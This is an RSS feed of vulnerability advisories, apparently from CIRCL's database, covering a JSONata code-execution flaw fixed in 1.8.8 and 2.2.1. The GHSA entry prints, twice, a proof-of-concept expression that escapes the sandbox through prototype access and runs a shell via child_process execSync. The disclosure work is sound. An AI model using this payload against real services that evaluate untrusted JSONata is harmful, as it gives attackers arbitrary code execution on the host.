<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 00:17:29 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-77414 — JSONata: Arbitrary Code Execution via crafted JSONata expressions</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-77414</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jsonata-js jsonata&lt;/p&gt;
&lt;p&gt;JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jsonata-js jsonata&lt;/p&gt;
&lt;p&gt;JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-77414</guid>
    </item>
    <item>
      <title>GHSA-2943-5xfg-gq5f — JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-2943-5xfg-gq5f</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: jsonata&lt;/p&gt;
&lt;p&gt;Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with
crafted expressions, due to a bypassable `hasOwnProperty` check in
`environment.lookup`
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871&lt;/p&gt;
&lt;p&gt;This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```js
import jsonata from &amp;#34;jsonata&amp;#34;;&lt;/p&gt;
&lt;p&gt;const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor(&amp;#34;return
process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;sh&amp;#39;,{stdio:&amp;#39;inherit&amp;#39;})&amp;#34;)();
)`);&lt;/p&gt;
&lt;p&gt;await expression.evaluate({});
```&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: jsonata&lt;/p&gt;
&lt;p&gt;Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with
crafted expressions, due to a bypassable `hasOwnProperty` check in
`environment.lookup`
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871&lt;/p&gt;
&lt;p&gt;This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```js
import jsonata from &amp;#34;jsonata&amp;#34;;&lt;/p&gt;
&lt;p&gt;const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor(&amp;#34;return
process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;sh&amp;#39;,{stdio:&amp;#39;inherit&amp;#39;})&amp;#34;)();
)`);&lt;/p&gt;
&lt;p&gt;await expression.evaluate({});
```&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-2943-5xfg-gq5f</guid>
    </item>
  </channel>
</rss>
